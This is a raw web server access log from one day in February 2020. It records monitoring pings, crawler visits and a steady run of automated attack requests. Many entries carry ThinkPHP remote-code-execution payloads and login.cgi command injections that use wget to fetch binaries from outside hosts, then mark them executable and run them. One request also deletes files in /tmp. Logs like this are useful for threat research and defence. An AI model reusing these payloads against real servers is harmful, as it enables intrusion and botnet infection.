211.218.0.195 - - [05/Feb/2020:11:27:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
1.52.1.208 - - [05/Feb/2020:11:27:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.148.29.173 - - [05/Feb/2020:11:27:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.199.19.227 - - [05/Feb/2020:11:27:42 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.19.227 - - [05/Feb/2020:11:27:43 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.19.227 - - [05/Feb/2020:11:27:43 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.19.227 - - [05/Feb/2020:11:27:44 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
139.199.19.227 - - [05/Feb/2020:11:27:44 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:11:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.199.19.227 - - [05/Feb/2020:11:27:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
81.191.134.206 - - [05/Feb/2020:11:27:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:29:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:30:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:31:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.248.210.40 - - [05/Feb/2020:11:32:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:11:32:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.180.31.164 - - [05/Feb/2020:11:33:19 +0100] "GET /all.json HTTP/1.1" 400 329 "-" "Karu/2.0"
212.91.246.72 - - [05/Feb/2020:11:33:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:34:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:35:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.49.243 - - [05/Feb/2020:11:36:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:36:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:37:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [05/Feb/2020:11:38:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
35.220.151.43 - - [05/Feb/2020:11:38:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:38:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:39:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.154.162 - - [05/Feb/2020:11:39:56 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [05/Feb/2020:11:40:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.52.24 - - [05/Feb/2020:11:41:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:41:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.82.246 - - [05/Feb/2020:11:42:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:42:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.20.112 - - [05/Feb/2020:11:43:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:43:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:44:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:45:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.76.118.157 - - [05/Feb/2020:11:46:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:11:46:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.33.22 - - [05/Feb/2020:11:47:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:47:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:48:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:49:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:50:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.197.123.98 - - [05/Feb/2020:11:51:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
181.191.103.138 - - [05/Feb/2020:11:51:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:11:51:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.22.89.14 - - [05/Feb/2020:11:52:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [05/Feb/2020:11:52:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:53:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:54:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:55:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.40.98.210 - - [05/Feb/2020:11:56:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:56:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:57:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:11:58:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.33.99 - - [05/Feb/2020:11:59:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:11:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.46.25.54 - - [05/Feb/2020:11:59:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:00:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:01:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:02:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.79.68 - - [05/Feb/2020:12:03:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:03:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:04:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:05:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.88.45.209 - - [05/Feb/2020:12:05:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
42.119.115.86 - - [05/Feb/2020:12:06:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:06:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [05/Feb/2020:12:06:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:07:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
141.136.49.29 - - [05/Feb/2020:12:08:39 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
42.117.20.74 - - [05/Feb/2020:12:08:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:08:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:09:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.220.1.43 - - [05/Feb/2020:12:10:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [05/Feb/2020:12:10:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [05/Feb/2020:12:11:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:12:11:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:12:11:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [05/Feb/2020:12:11:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:12:12:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.109.172.246 - - [05/Feb/2020:12:12:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.192.180.178 - - [05/Feb/2020:12:12:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:12:12:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:13:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
40.114.42.7 - - [05/Feb/2020:12:14:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:14:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.124.218.66 - - [05/Feb/2020:12:15:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:15:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:16:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:17:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:18:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.67.92 - - [05/Feb/2020:12:19:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:12:19:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.71.56 - - [05/Feb/2020:12:19:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
83.33.235.236 - - [05/Feb/2020:12:20:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:12:20:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.172 - - [05/Feb/2020:12:20:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.138.41.207 - - [05/Feb/2020:12:21:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.41.207 - - [05/Feb/2020:12:21:30 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.41.207 - - [05/Feb/2020:12:21:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
188.138.41.207 - - [05/Feb/2020:12:21:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; U; Linux Core i7-4980HQ; de; rv:32.0; compatible; JobboerseBot; http://www.jobboerse.com/bot.htm) Gecko/20100101 Firefox/38.0"
212.91.246.72 - - [05/Feb/2020:12:21:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.1.94.151 - - [05/Feb/2020:12:22:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.232.171.255 - - [05/Feb/2020:12:22:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:12:22:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.47.218.30 - - [05/Feb/2020:12:23:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:12:23:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:24:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:25:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
106.54.113.227 - - [05/Feb/2020:12:26:08 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.54.113.227 - - [05/Feb/2020:12:26:09 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.54.113.227 - - [05/Feb/2020:12:26:09 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.54.113.227 - - [05/Feb/2020:12:26:10 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.54.113.227 - - [05/Feb/2020:12:26:10 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.54.113.227 - - [05/Feb/2020:12:26:11 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.54.113.227 - - [05/Feb/2020:12:26:11 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.54.113.227 - - [05/Feb/2020:12:26:12 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
106.54.113.227 - - [05/Feb/2020:12:26:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:12:26:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:27:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:28:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:12:29:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.177.231.58 - - [05/Feb/2020:12:30:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
